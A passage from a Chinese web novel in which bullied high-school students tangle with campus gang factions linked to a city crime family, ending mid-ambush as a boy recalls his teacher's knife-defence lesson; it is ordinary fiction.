油腻的木桌、褪色的菜单、角落里嗡嗡作响的老旧电扇,这家藏在巷子深处的饭馆是学生们躲避老师视线的秘密据点。三人挑了最里侧的座位坐下,老板熟络地端上一壶热茶,苏旭迫不及待地灌了一口,烫得直吐舌头。
张霆琛突然压低声音:“对了,今天那个高三的,叫黄伟是吧?他为啥要帮咱们?”
苏旭早就渴坏了,抓起桌上的茶壶给自己倒了杯凉茶,咕咚灌了半杯,才抹着嘴摆出一副“内幕通”的架势,故意拖长了语调:“这你就不懂了吧?咱们学校看着风平浪静,其实藏着**呢。”
他顿了顿,特意压低声音,仿佛在说什么天大的秘密:“今天找事的徐坤,你也看见了,是高二的‘扛把子’——说白了就是老大。他背后硬得很,跟着辉煌夜总会的头号打手混,那人听说是叫钟群,要是在表现好一些,就能进慕容家的内围做事了。”
“慕容家?”陈曦一脸茫然。
“你连这都不知道?”苏旭夸张地瞪大眼睛,“容市的黑道龙头啊!据说慕容家的家主慕容廷手段狠辣,在道上说一不二。咱们这一片的娱乐场所,赌场,都归他们管。”说这话时,他眼里闪着光,一半是怕,一半是莫名的崇拜。
张霆琛的脸色突然变得苍白,手指无意识地摩挲着茶杯边缘。慕容这个姓氏像一根刺,扎进他记忆的缝隙。陈曦光顾着听“内幕”,没留意他的异样。
苏旭呷了口茶,继续说道:“今天进来的黄伟,来头也不小——他爸是**局局长。这人在学校从不亲自动手,却带着一群小弟,挂着学生会会长的名头,天天背着手在校园里晃,说是检查有没有人打架**。”
"喂,发什么呆?"苏旭用胳膊肘捅他,"被慕容家的名头吓到了?"
"……没什么。"张霆琛低头转移话题,"那我们以后有事,是不是可以直接找黄伟啊?"
“噗——”苏旭刚喝进嘴里的茶差点喷出来,他放下茶杯,一脸“你太天真”的鄙视:“听我说完,你以为他这么好心?他那‘维持秩序’就是个幌子!想在学校里安稳混,就得给黄伟交钱,上不封顶。谁给的钱多,他就帮谁出头,不光帮你收拾对手,还能压下老师那边的告状,甚至能让教务处把记过处分消了,堪称‘拿人钱财**’的**。”
他用手指敲了敲桌子:“今天徐坤见了他就撤,一是徐坤自视甚高,不屑被黄伟这种‘收钱办事’的人罩着;二是徐坤在学校收保护费,早就抢了黄伟的生意,俩人本来就水火不容。至于谢逸轩他们几个,估计也是看不惯黄伟这套,才没投靠他。”
张霆琛和陈曦这才恍然大悟,原来教室外的走廊、操场的角落,藏着这么多弯弯绕绕,比课本上的几何题还复杂。
陈曦把书包往旁边一推,追问:“那第**呢?总不能就俩吧?”
苏旭清了清嗓子,刚要开口,却突然垮下脸,声音小了半截:“我也不知道。”
“你耍我们呢?”张霆琛伸手就去挠他胳肢窝,陈曦也跟着上手,三人闹作一团。苏旭笑得直不起腰,连连告饶:“真不知道啊!咱们年级现在分两拨人,一拨是谢逸轩和许盛,另一拨是六班的赵子睿。这俩人天天掐架,等谁能把高一其他班都收服了,第**自然就归谁了呗。”
打闹间,张霆琛突然停下手,想起那个站在谢逸轩身后、始终没动手的男生:“对了,今天跟谢逸轩一起的,有个高颧骨的男生,你认识吗?”
苏旭愣了愣:“高颧骨?没印象。你关心他干嘛?”
“我看他在我们被欺负时,脸皱得像苦瓜,”张霆琛回忆着,“好像特别不情愿,跟谢逸轩他们不是一路人。”
“管他呢!”苏旭一巴掌拍在他后脑勺上,力道不重却带着不容置疑的劲儿,“吃饭吃饭!先顾好咱们自己——晚上徐坤和谢逸轩会不会找过来还不一定呢。”
张霆琛哦了一声,拿起筷子扒拉着碗里的米饭,可眼睛还是望着窗外,心里总惦记着那个高颧骨男生的脸——那眼神里的挣扎,像根小刺扎在他心上,怪怪的。
三人合计了半天,也没想出对付徐坤的办法,最后只能叹着气,约定放学时结伴走小路,尽量避开人多的地方。
好在那天晚上风平浪静,张霆琛平安回了家。薛妈看他进门时嘴角带着笑,特意多炒了盘他最爱的番茄炒蛋,还往他碗里塞了块红烧肉:“今天咋这么高兴?在学校交新朋友了?”张霆琛没说话,只是埋头扒饭,心里却暖烘烘的——这是他第一次觉得,有人护着的感觉,真好。
第二天一早,张霆琛特意提前半小时出门,绕了条远路——昨天被堵的那条小巷太吓人,墙角还留着他们挣扎时蹭掉的墙皮。直到看见学校大门,他才松了口气,摸了摸口袋里苏旭塞给他的“护身符”——其实就是半块啃剩的橡皮,说是能带来好运。
进教室时,苏旭正趴在他桌上,看见他就像见了救星,一把拽住他的胳膊:“张霆琛!你听说没?出大事了!”
“咋了?”张霆琛被他拽得一个趔趄。
“昨天放学,六班的赵子睿带人堵了谢逸轩和许盛,”苏旭
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说得唾沫横飞,手舞足蹈,“听说谢逸轩他们被打进医院了!还有更爽的——徐坤昨天阴了黄伟一把,把黄伟的人揍了一顿,现在黄伟正到处找徐坤算账呢!等于说,现在没人有空搭理咱们,咱们安全了!”
他说这话时,下巴抬得老高,仿佛这一切都是他策划的。张霆琛忍着笑配合地点头:“这么厉害?”
“那可不!”苏旭刚得意两秒,后脑勺就挨了一下。
“又在这吹牛,”陈曦抱着作业本站在旁边,一脸无奈,“老师让交的数学作业,你写了吗?”
苏旭的脸瞬间垮了:“啊?还有作业?”
正闹着,上课铃响了。一上午倒也平静,张霆琛频频看向谢逸轩和许盛的座位——空的,心里踏实了不少。
直到午饭时,三人刚走出校门,就被眼前的阵仗怔住了。
学校斜对面的空地上,谢逸轩和许盛站在那里,身后**着三十多位穿着校服的男生,个个衣襟敞开,气氛显得格外凝重。
张霆琛赶紧往苏旭身后缩了缩,心脏砰砰直跳:“他们……他们不会是来找咱们的吧?”
“不像,”陈曦指着学校门口,“你看那边。”
只见为首的男生个子不高,身后同样跟着一些同学,神情不善。苏旭轻轻抽了口气,低声对张霆琛道:“那就是赵子睿,六班那位。”
赵子睿几步走到谢逸轩面前,姿态倨傲,声音带着明显的尖锐:“谢逸轩,昨天你们俩倒是走得利索,留下个兄弟独自面对我们那么多人,这份情谊,可真够分量!”
许盛的脸“腾”地红了,拳头攥得咯吱响,脖子上的青筋都爆了出来:“你们把李辰浩怎么了?”
“放心,”赵子睿慢悠悠地从口袋拿出什么在指间转动,眼神里带着一丝讥诮,“他没事。我看着他被妥善安排送医了。”
张霆琛这才听明白——昨日赵子睿带人堵谢逸轩时,是一位叫李辰浩的男生主动留下应对对方多人,而谢许二人得以离开。不知为何,一股难以言喻的郁结感突然堵在他心口,喉咙发紧——明明自己素来胆小,可一想到那个叫李辰浩的男生可能正承受着后果,就觉得心头翻涌,难以平静。
“你太过分了!”许盛未等赵子睿话音落下,便猛地冲上前去。
两拨人瞬间如沸水般激烈地推搡冲突起来,吓得路边摊贩纷纷收摊。仅仅几分钟后,教导主任便带着一群手持工具的保安匆匆赶到,高声喝止。
人群如惊鸟般迅速四散,眨眼间便不见了踪影,只余下几个动作稍慢的,被保安拦下。
“这就结束了?”苏旭望着瞬间空荡的场地,语气略带惋惜。
陈曦拍了他一下:“快吃饭去,再耽误下午该迟到了。”
第六章:双线局
在容市最高级的写字楼顶层,慕容廷正站在落地窗前俯瞰城市。他四十来岁,一身剪裁得体的西装,锐利的眼神中透着不怒自威的气势。
慕容廷接到了一个消息:隔壁吉市老大的弟弟刘文松来容市了。吉市是刘文殊的天下,而刘文殊和慕容廷都是同一个公司的成员。这个所谓的“公司”,其实就是黑帮的别称。他们附属于青龙会,青龙会占据阳市、容市、吉市和曲市四大城市。青龙会的老大外号叫强五,也叫五爷,坐镇阳市。其他三个城市则分别由不同的人管理:慕容廷管容市、刘文殊管吉市、陈凡管曲市。
青龙会虽然在中国五大黑帮中算是比较弱小的存在,但在江省这一亩三分地上,却是无人敢惹。刘文松的到来,无疑会给容市的局势带来更大的变数。慕容廷深知这一点,所以他开始暗中布置,准备应对即将到来的风暴。
提及弟弟,其与哥哥的差距宛若云泥。哥哥稳坐吉市龙头宝座,实力非凡;而弟弟,却是麻烦不断的闯祸精。各市大佬表面和睦,实则暗流涌动,彼此算计。五爷冷眼旁观,默许这场内斗,因为唯有如此,他们的力量才会逐渐削弱。在五爷心中,唯有利益至上。此时,慕容廷正沉思刘文松的来意,电话骤响,慕容景云焦急的声音传来:“老爹,刘文松带人扫了我们外围的场子!”
慕容廷眼神一冷:"吉市的人敢来容市撒野?"
"可能是是刘文殊默许的,"慕容景云的声音透着愤怒,"他们还在场子里留了话,说要''重新划分地盘''。
慕容廷将手机重重扣在红木办公桌上,听筒撞出的闷响里,还裹着刚才电话那头隐约传来的嚣杂。他望着窗外鳞次栉比的楼宇——这座城市的脉络里,每一条暗巷、每一盏霓虹,几乎都淌着慕容家的血与汗。“该来的还是来了,”他指尖在桌面上轻叩,声音里听不出喜怒,“就这么急着往鬼门关钻?”
站在一旁的陈海早已绷紧了脊背。他跟着慕容廷三十年,从街头混战到运筹帷幄,作为慕容廷最亲近的兄弟,早已熟悉他的每一个表情和动作。慕容廷的手指停下敲击,轻轻一摆,陈海立即会意,只是微微颔首,转身时黑色西装的下摆扫过墙角的盆栽,叶片上的水珠纹丝不动,足见他步伐稳得惊人。穿过走廊时,守在电梯口的保镖立刻挺直腰杆,他比了个手势,众人默契地散开,如水滴汇入暗流。
办公室的门还没完全合上,第二通电话就炸响了。屏幕上跳动的陌生号码,像块扔到油锅里的石子。“小廷啊,”听筒里的声音黏糊糊的,混着背景里玻璃杯碰撞的脆响,“刚才实在对不住,带人扫了几个场子,我还当是旁人的地盘呢!”
慕容廷捏着手机的指节泛白,嘴角却弯起弧度。刘文松这话就像在说“我放火烧了你家柴房,原以为是别人家的”,整个市的娱乐版图,明里暗里都是慕容家的地界,三岁小孩都知道的事,他偏要装糊涂。“原来是刘老二,”慕容廷端起桌角的紫砂壶,茶汤顺着壶嘴淌进公道杯,袅袅热气升腾而起。这是从云州深山特意运来的顶级毛尖,每年产量不过数斤,唯有慕容廷这样的身份才配享用。“多大点事?几个场子而已,让底下人补补就成。”
“还是小廷敞亮!”刘文松的笑声里透着得意,甚至能想象出他此刻翘着二郎腿的模样,“改天我做东,咱哥俩好好喝顿!”电话“啪”地挂了,连句客套的尾音都省了。
慕容廷慢条斯理地分茶,茶盏里飘出都匀毛尖特有的兰花香。他喝得坦然,可与容市相隔几十公里外的大酒厅里,刘文殊正暴跳如雷。他一把将手中的红酒杯摔在地上,玻璃碎片四处飞溅,红酒如同鲜血般在地毯上蔓延。:“谁他妈让你动慕容家的场子?赶紧给我滚回来!趁慕容廷还没真正动怒,你还有条活路!”
电话那头的刘文松正坐在豪华包间的主位上,怀里搂着个女人,闻言嗤笑一声:“大哥你就是胆子小。我带了二百多兄弟,分藏在七个街口,就等慕容廷那老东西和他儿子往里钻。”他拍着桌子,金戒指在灯光下晃眼,“这回咱直接把他的根给刨了,这城市就是咱刘家的了!”
“你个蠢货!”刘文殊的怒吼几乎要掀翻屋顶,“慕容廷在道上混了几十年,你以为他是靠运气撑到现在?赶紧回来!”
刘文殊还想说什么,电话却突然被挂断,只剩下"嘟嘟"的忙音。他狠狠将手机砸在沙发上,转身看向房间里的其他人。
会所包厢里烟雾缭绕,几个心腹手下噤若寒蝉。刘文殊的军师赵岩走上前,低声道:"老大,现在当务之急是把二爷劝回来。慕容廷不是好惹的,他能在市里屹立这么多年,背后肯定有..."。
"我当然知道!"刘文殊烦躁地打断他,"但这个蠢货现在根本不听我的!"
他走到窗前,看着外面的夜色,心中涌起一阵不祥的预感。慕容廷的平静反应太过反常,以他对这位老对手的了解,这绝不是认怂,而是暴风雨前的宁静。
"去,多派些人手盯着慕容廷那边的动静。"刘文殊转身命令道,"还有,查查文松最近和什么人有接触。"
刘文松挂了电话把手机扔给旁边的小弟,啐了一口:“我就不信啃不下这块骨头!”
立刻有个留着莫西干头的小弟凑上来,递上一支雪茄:“松哥是谁啊?慕容廷那老东西早该让位了!”刘文松笑得眼角堆起褶子,可坐在角落的军师朱槿却皱紧了眉。他推了推鼻梁上的金丝眼镜,声音压得很低:“大哥,大白天扫场子太扎眼了。慕容家的人最记仇,我怕今晚他们会来反扑。”
“反扑?求之不得!”一个贼眉鼠眼的小个子跳出来,手里把玩着**,“咱们早就布好了局,就等他们来,正好一锅端!”
朱槿没再说话,只是端起茶杯抿了一口。茶水早凉了,像他此刻的心思——刘文松只看到二百多号人手里的**钢管,却没算过慕容家埋在暗处的关系网,没掂量过那些穿警服的“朋友”到底站在哪边。
夜色像墨汁般泼满天空时,刘文松的据点里果然一片太平。他搂着女人在酒池肉林里狂笑:“看看!我说什么来着?慕容廷那老东西就是怂了!”小弟们跟着哄笑,只有朱槿盯着窗外的黑暗出神。刘文松见他这副模样,把酒杯往他面前一墩:“老朱,至于吓成这样?来,陪哥喝一个!”朱槿苦笑一声,举杯的手微微发颤。
同一时刻,慕容廷的别墅里,棋盘上的黑白子正杀得难解难分。陈海落下最后一颗黑子,吃掉对方一片白子:“豪华厅周围的暗哨都换了新面孔,刘文松的人盯了一下午,没看出任何破绽。”他顿了顿,补充道,“查到了,他带的人里,只有那个叫朱槿的军师有点脑子,剩下的都是些见钱眼开的混子。”
豪华厅——这座城市最顶级的歌厅,表面上归一个外地老板所有,实则是慕容家外围势力的核心,藏着不少见不得光的交易记录,也是几位“大人物”常去的销金窟。慕容廷捻起一颗白子,轻轻放在天元位:“他动别的场子,我可以当没看见。但敢碰豪华厅,就是打所有人的脸。”他
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指尖在棋盘上划过,“到时候人赃并获,就算杀了他,刘文殊要闹,咱们也占着理。”
“那朱槿能收就收,”慕容廷端起茶杯,茶雾漫过他的眉眼,“不能收……”他做了个干脆的抹脖子手势,茶杯轻磕桌面,发出一声闷响。
与此同时,附中的放学铃声刚刚响起,张霆琛就被陈曦和曹婷拽住了。“一起走呗,”曹婷晃着书包带笑,“我妈今晚做了糖醋排骨,顺道送你们点?”三个少年少女的笑声刚飘出校门,就**同口窜出的人影掐断了。
徐坤叼着烟,倚在斑驳的墙面上,身后跟着十几个染着黄毛的混混。他吐掉烟蒂,不怀好意地打量着陈曦,"丫头,上次跟你说的事考虑得怎么样了?"
陈曦把书包挡在身前,下巴抬得老高:“凭你也配?”
“配不配,你得问问我”徐坤怪笑着指向自己的裤裆,周围的混混立刻爆发出污言秽语。曹婷吓得脸发白,陈曦气得浑身发抖,却被张霆琛挡在了身后。
“你们太过分了!不准欺负我同学!”张霆琛的声音抖得像秋风里的叶子,可脚步却没往后退。
"哈哈哈!"徐坤像是听到了什么笑话,"就凭你这个书呆子?"他一把揪住张霆琛的衣领,"上次没打够是吧,信不信我弄死你?"
张霆琛吓得说不出话来,只能僵硬地点头。转头又对陈曦伸手,“跟不跟我走?”
“我不!”陈曦的声音带着哭腔,却异常坚定。
徐坤刚要发作,胡同深处突然传来脚步声。谢逸轩搂着许盛的肩膀走出来,两人身后,是被打得鼻青脸肿的苏旭。少年的校服被撕得稀烂,嘴角的血痂混着泥土,看到张霆琛时,眼泪“唰”地涌了出来:“霆琛……药……我妈的药丢了……”
那是苏旭跑遍全城才买到的进口药,他妈妈正躺在病床上等着救命。张霆琛扑过去扶住他,手指触到苏旭后背的伤口时,少年疼得闷哼一声。那一刻,张霆琛浑身的血液仿佛都冲上了头顶——这些人是他灰暗青春里唯一的光,现在却被踩在泥泞里。
徐坤还在得意地对着陈曦狞笑:“看到了吧?不跟我走,你的朋友会一直这样倒霉下去!”
话音未落,一道冰冷的视线刺了过来。张霆琛缓缓抬起头,平日里总是躲闪的眼睛里,此刻翻涌着骇人的红——那是被碾碎的隐忍,是被逼到绝境的疯狂。徐坤被这眼神看得心头一跳,莫名的恐惧顺着脊椎爬上来。他慌忙吼道:“给我打!往死里打!”
混混们刚举起钢管,李辰浩突然出现了,左臂缠着渗血的绷带,右手握着把寒光闪闪的**,刀刃精准地贴在了徐坤的颈动脉上。他的脸隐在路灯的阴影里,声音比冬夜的寒风还冷:“你们太过分了。”
他抬下巴示意张霆琛:“走。”
张霆琛立刻扶起苏旭,曹婷拉着陈曦跟在后面,四个人的身影很快消失在巷尾。
谢逸轩脸色大变:"李辰浩!你疯了?别忘了你发过的誓!"
李辰浩的**没动,声音却稳如磐石:“轩哥,这事我会亲自向伯父解释。”
“你死定了!”谢逸轩的怒吼。
徐坤捂着脖子后退几步:“李辰浩,我劝你赶紧跑路,不然明天就等着收尸吧!”
李辰浩没理他,只是望着张霆琛消失的方向,绷带下的手指微微收紧。墙头上的月光,映着他高颧骨上一闪而过的复杂,那是对少年血性的共鸣,也是对前路未卜的隐忧。
胡同里的脚步声渐远,只剩下谢逸轩的怒骂和安静站着的许盛,混在深秋的冷风里,格外刺耳。
第七章:突来的围堵
夕阳的余晖将城市染成一片昏黄,苏旭、张霆琛、陈曦和曹婷四人终于逃到了熙熙攘攘的商业街口。每个人都弯着腰,双手撑着膝盖,胸腔剧烈起伏,贪婪地汲取着空气,喉咙里发出拉风箱般的喘息。苏旭眼眶通红,泪水在打转,强忍着没掉下来,肩膀还在微微发抖。张霆琛看着他这副模样,心里揪着疼,默默地从裤口袋里掏出两张皱巴巴的百元钞票,递过去:“拿着,先应应急。”
苏旭连忙摆手,声音带着哭腔后的沙哑:“不…不用了霆琛,我…我真不能再要你们的钱了…”??他羞愧地低下头,觉得自己像个只会惹麻烦的累赘。
“啧!”陈曦不耐烦地咂了下嘴,一把从张霆琛手里抓过钱,硬塞进苏旭的口袋,“让你拿着就拿着!磨磨唧唧的,有点出息行不行!”??她皱着眉,语气虽然冲,眼神里却有关切。
曹婷轻轻拉了拉陈曦的胳膊,温声劝道:“曦曦,别这么说小旭。这事儿真不怪他,咱们都还是学生,谁遇上那种阵仗能不害怕?换谁都慌了神了。”
陈曦重重叹了口气,烦躁地抓了抓头发:“行了行了!赶紧回家吧小旭,你妈肯定急疯了!”??苏旭用力点点头,抹了把眼睛,转身就要走。
就在这时,一个清冷的声音从后面传来:“明天,别来学校。”??众人回头,只见李辰浩不知何时跟了上来,他脸色依旧苍白冷漠,眼神像结了冰的湖面。
“凭什么啊!”??陈曦的火气腾地又上来了,叉着腰质问,“学校是你家开的?你说不去就不去?”
李辰浩的目光扫过他们,没有任何波澜,声音平静得可怕:“提醒你们一次。那帮人,你们惹不起。不想明天少条胳膊断条腿,就听我的。”??说完,他转身就要融入人流。
“等等!”??张霆琛一个箭步上前,抓住了李辰浩的胳膊,“刚才谢谢你。”
李辰浩身体明显僵了一下,他低头看着张霆琛抓着自己胳膊的手,眼神里闪过一丝难以捉摸的情绪,随即用力甩开,头也不回地走了,很快就融进了街角的暮色里,背影在路灯下拉得又细又长。
张霆琛看着他的背影消失在人群里,转回身,神色凝重地对陈曦他们说:“李辰浩说得对,明天,先别来了。”
“凭什么听他的!”??陈曦不服气地跺脚,“我就不信了!他们还能无法无天?明天我非得告诉老师去!”
张霆琛难得地露出了超出年龄的沉稳,他看着陈曦,声音低沉:“陈曦,你不懂…这世界有些角落,光靠老师和王法是照不亮的。听我的,避一避,保护好自己。”??这话从他嘴里说出来,带着一种与他平时温和形象不符的沧桑感。
陈曦听得一愣,随即觉得有些刺耳:“喂!张霆琛!你才多大啊?装什么深沉!你上过社会吗?我才是你们大姐!保护你们是我的责任!”??她挺起胸膛,努力维持着大姐头的架势。
张霆琛无奈地笑了笑,语气带上了一丝恳求:“行,曦姐,就算是为了我,明天别来了成吗?我真怕你们出事。”??他眼中是真切的担忧。
陈曦撇撇嘴,嘴上依然强硬:“哎呀知道了知道了!明天看情况吧!告诉老师准没错!”??她显然也有些底气不足了。张霆琛看她态度松动,刚想再劝,突然想起什么,脸色一变:“你们先走!我有点急事!”??话音未落,人已经像离弦的箭一样,朝着李辰浩消失的方向狂奔而去。陈曦看着他迅速消失的背影,心里也莫名地发紧,转头对苏旭和曹婷说:“别管他了,咱们打车,赶紧回家!”??声音里,终于泄露了一丝掩饰不住的恐惧。
张霆琛气喘吁吁地追进一条相对僻静的岔路,终于看到了李辰浩单薄的背影。“李辰浩!”??他大喊一声。
李辰浩停下脚步,转过身,眉头微蹙,带着一丝被打扰的不悦:“你追来干什么?”
“我想知道,”??张霆琛平复着呼吸,目光灼灼地盯着他,“你为什么要帮我们?”
李辰浩的眼神瞬间冷了下来:“与你无关。”??这个回答在张霆琛意料之中,但他没有退缩,反而像打开了话匣子,追问起李辰浩的身份、和谢逸轩的恩怨。
李辰浩看着眼前这个明明自己也很害怕,却固执地追上来问东问西的男生,冰冷的眼底深处,竟掠过一丝极淡的、近乎困惑的兴味。就在他准备再次冷言打发张霆琛时。
“李辰浩!”??一声粗粝的断喝炸响!三个身材魁梧、满脸横肉的大汉如同鬼魅般从巷口阴影里闪出,呈三角之势堵住了去路。为首的光头大汉眼神凶戾,盯着李辰浩:“跟我们走一趟吧!”
李辰浩嘴角勾起一抹冰冷的、了然的弧度,仿佛等待已久:“呵,动作真慢。走吧。”??他语气平静得像在谈论天气。
“不行!”??张霆琛几乎是本能地冲前一步,张开双臂,死死挡在李辰浩身前,瘦削的身体因紧张而绷紧,声音却异常坚定:“你们想干什么?不准带他走!”
光头大汉嗤笑一声,像看一只不自量力的蝼蚁:“小崽子,滚一边去!这没你的事!”
“我看得出来你们不是好人!”??张霆琛毫不退让,眼神里是豁出去的决绝,“他帮了我们,我不能让你们动他!”??他从小耳濡目染家族背景,太清楚被这些人带走的后果,那意味着彻底失去主动权,任人宰割!
“找死!”??光头眼中凶光一闪,话音未落,砂锅大的拳头带着风声,以迅雷不及掩耳之势,狠狠捣在张霆琛柔软的腹部!
“呃啊!”??剧痛瞬间吞噬了张霆琛!他感觉五脏六腑都移了位,眼前一黑,身体像破麻袋一样蜷缩着倒了下去,胃里翻江倒海,连呼吸都变得困难,意识在剧烈的痛苦中模糊飘散。耳边只隐约传来光头大汉冷酷的命令:“两个都带走!”
完了…张霆琛绝望地想,家族里那些关于“失踪”和“人间蒸发”的模糊记忆碎片涌上心头。他太清楚这意味着什么,可恨自己如此弱小,无力反抗!
“走!”??就在意识即将彻底沉沦之际,一只冰凉却有力的手猛地抓住了他的胳膊!是李辰浩!他趁着大汉们注意力在倒地的张霆琛身上时,爆发了!
只见李辰浩动作快如闪电!他猛地矮身,避开侧面袭来的拳头,同时一记凌厉凶狠的右勾拳,结结实实地砸在光头大汉的下颌骨上!光头猝不及防,闷哼一声踉跄后退。李辰浩毫不停顿,借着旋身的力道,一个迅猛的扫堂腿狠狠扫在另一个大汉的小腿上!那人惨叫一声,重心不稳栽倒在地。
电光火石间逼退两人,李辰浩一把拽起几乎瘫软的张霆琛,低吼:“快跑!”??张霆琛被剧痛和求生的本能驱使,强撑着踉跄跟上。
“妈的!还想跑?!”??光头大汉捂着下巴,恼羞成怒,眼神变得无比狰狞。剩下的两人立刻凶狠地扑了上来!
李辰浩将张霆琛往旁边一推,自己迎了上去。他眼神锐利如刀,侧身闪过迎面砸来的钢管,精准地扣住对方手腕猛地一扭,在对方吃痛弯腰的瞬间,一记凶狠的膝撞狠狠顶在其肋下!咔嚓一声脆响,伴随着凄厉的惨叫!
然而,就在他解决这个对手的同时,另一名大汉手中的**带着寒光,狠狠劈下!李辰浩尽力闪避,冰冷的刀锋还是擦着他的左臂外侧划过!
“嘶!”??李辰浩倒抽一口冷气,左臂衣袖瞬间被鲜血染红!剧痛让他动作一滞。但他眼中凶光更盛,不退反进!趁着对方挥刀后旧力已去新力未生的瞬间,他欺身而上,凝聚全身力量的一拳,如同炮弹般狠狠砸在那大汉脆弱的喉结上!
“嗬…嗬…”大汉双眼暴突,手中**当啷落地,双手死死扼住自己的脖子,脸色迅速由红变紫,像一滩烂泥般跪倒在地,痛苦地抽搐着。
“走!”??李辰浩顾不上查看伤势,一把拉起看呆了的张霆琛,忍着左臂火辣辣的剧痛,继续向巷子深处狂奔。鲜血顺着他的手臂滴落,在昏暗的地面上留下点点暗红。
然而,希望的火苗瞬间熄灭。巷子的尽头,两道人影如同铁塔般挡住了去路。其中一个,正是脸上带着得意又怨毒笑容的谢逸轩!而站在他旁边的,是一个身高接近两米、肌肉虬结如岩石般的巨汉。那人双臂抱胸,粗壮的胳膊上青筋盘绕,满脸横肉,眼神像看猎物一样冰冷地锁定了他们。仅仅是站在那里,就散发着一股令人窒息的压迫感——这是个真正的练家子!
李辰浩的脚步猛地顿住,脸色第一次变得极其难看,眼神中甚至掠过一丝不易察觉的慌乱,但随即被他强行压下,只剩下冰冷的绝望和孤注一掷的狠厉。前有堵截,后有追兵(光头和另一个还能动的大汉正骂骂咧咧地追来),他们彻底陷入了死局!
“峰哥,我就说嘛,这几个废物肯定拦不住他,还得您出手!”??谢逸轩阴阳怪气地对旁边的巨汉说道,语气充满了谄媚。
被称为“峰哥”的巨汉从鼻子里哼出一声,带着浓浓的鄙夷:“一群饭桶!连个半大小子都拿不下!”??他上前一步,庞大的身躯几乎挡住了巷口所有的光线,阴影笼罩住李辰浩和张霆琛。“今天,你们俩,谁也别想竖着离开!”
李辰浩深吸一口气,将剧痛的左臂藏在身后,用身体微微挡住张霆琛,对谢逸轩沉声道:“谢逸轩!这
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是我们之间的事!跟他没关系!放他走!”??他指向张霆琛。
谢逸轩狭长的眼睛里闪烁着恶毒的光,他夸张地笑起来:“李辰浩!你背叛我的时候,就该想到有今天!跟我谈条件?你配吗?”??他语气陡然转厉,充满了刻骨的恨意:“你那个不识抬举的老子,已经被我爹亲手判了,你现在就是条丧家之犬!给我上!废了他!”
父亲的消息如同晴天霹雳!李辰浩的眼睛瞬间赤红,压抑的怒火和悲痛轰然爆发!他像一头被彻底激怒的困兽,嘶吼着就要扑向谢逸轩:“谢逸轩!我杀了你!”
然而,他刚冲出去一步,那个叫峰哥的巨汉就像一座移动的小山般横亘在他面前,速度快得惊人!“此路不通!”??峰哥狞笑着,钵盂大的拳头带着撕裂空气的呼啸,精准无比地砸在李辰浩的脸上!
砰!
沉闷的撞击声令人心颤!李辰浩整个人被打得离地飞起,重重摔在几米外的地上,半边脸颊瞬间红肿起来,嘴角破裂,鲜血混着唾液淌下。他挣扎着想爬起来,眼前金星乱冒。
“李辰浩!”??张霆琛惊呼,想冲过去扶他。
“别动!”??一声厉喝!冰冷的触感瞬间贴上了张霆琛的脖颈!谢逸轩不知何时已绕到侧面,手中一把锋利的**,稳稳地架在了张霆琛的脖子上!冰冷的刀锋紧贴着皮肤,激得张霆琛浑身汗**倒竖,瞬间不敢动弹。
“李辰浩,别他妈再浪费时间了!”??谢逸轩用刀面拍了拍张霆琛的脸颊,后者能清晰地感受到刀刃的森寒。谢逸轩脸上是猫戏老鼠般的残忍笑容:“我们没空看你在这儿表演英雄主义。识相的,自己把自己铐上!”??他说着,从口袋里掏出一副亮闪闪的**,“当啷”一声扔到李辰浩面前的地上。“不然,我就先在你这位‘好朋友’脸上画朵花!”
李辰浩趴在地上,艰难地抬起头,目光死死盯着地上那副冰冷的**,又看向被刀挟持、脸色煞白却强忍着恐惧没有求饶的张霆琛。他的眼神剧烈挣扎着,**、愤怒、不甘像毒蛇一样啃噬着他的心。他知道,一旦戴上这个,就真的完了。
“不要!李辰浩!别听他的!你快跑!别管我!”??张霆琛不顾脖子上的刀刃,用尽全身力气嘶喊出来!他不能眼睁睁看着李辰浩为了救自己而落入魔爪!那份对“朋友”二字无比珍视的心,让他宁愿自己承受一切!
这声嘶喊,如同惊雷般在李辰浩耳边炸响!从小到大,他习惯了背叛、利用和冷漠。父亲入狱后,他更是彻底封闭了自己,像独狼一样活着。从未有人,会在他陷入绝境时,让他“别管我,快跑”!从未有人,会如此纯粹地将他视为需要保护的对象,而非利用的工具!张霆琛眼中那份不顾生死的急切和真诚,像一道灼热的光,瞬间穿透了他冰封已久的心防!
李辰浩的身体猛地一震!他缓缓地、极其缓慢地抬起头,目光越过冰冷的刀锋和凶恶的敌人,深深地看着张霆琛那双写满焦急和决绝的眼睛。时间仿佛在这一刻凝固。他沾着血的嘴角,竟然极其艰难地、一点点地向上扯动,最终,勾勒出一个极其复杂、却无比真实的笑容。那笑容里有苦涩,有释然,还有一丝…从未有过的温暖。
“谢谢”??李辰浩的声音很轻,却清晰地传入张霆琛耳中,带着一种尘埃落定的平静,“从小到大,除了我爸没人真心对我好过”??他顿了顿,目光变得异常柔和而坚定,“你是第一个把我当‘朋友’的人。”
朋友!
这两个字如同重锤,狠狠砸在张霆琛的心上!一股难以言喻的、滚烫的洪流瞬间冲垮了他所有的恐惧和疼痛!是狂喜!是激动!是灵魂深处被认可的震颤!他从小孤僻,渴望友情却从未真正拥有。李辰浩,竟然在生死关头,承认他是“朋友”!
然而,这狂喜的浪潮还未平息,更汹涌的愤怒和极致的自责便席卷而来!愤怒于谢逸轩的卑鄙无耻!愤怒于自己的弱小无能!自责于正是因为自己这个“朋友”的拖累,才将李辰浩逼入了绝境,让他不得不屈服!他恨!恨自己为什么没有力量!恨自己为什么成了李辰浩的弱点!两种极端的情感在他胸中激烈碰撞、燃烧,几乎要将他撕裂!
李辰浩深深地看了张霆琛最后一眼,那眼神仿佛要将“朋友”的模样刻进灵魂深处。然后,他伸出沾着血和尘土的手,颤抖着,却无比坚定地,抓向了地上那副冰冷的**。
就在李辰浩的手指即将触碰到金属的冰冷边缘,就在张霆琛的内心被狂喜与绝望的烈焰疯狂炙烤,喉咙因嘶吼而火辣辣疼痛,脖子上刀刃的寒意刺入骨髓的瞬间——
第八章:过往的伤痕
就当冰冷的刀刃紧贴脖颈皮肤,死亡的寒意直透骨髓的瞬间,张霆琛脑海中电光石火般闪过师父陈海的身影。训练场上,师父严厉的声音仿佛就在耳边炸响:“刀架脖子,莫慌!分他心神,用反向手**刀内侧!手背卡死腕骨!另一肘,狠狠撞他腰腹!扣腕!半蹲!绕臂!夺刀!反刺!”师父演示时行云流水,快如疾风,但张霆琛深知,这招看似轻巧,实则凶险,没有千锤百炼的筋骨和精准到毫厘的时机把控,稍有不慎,就是自己撞上刀口,血溅当场!
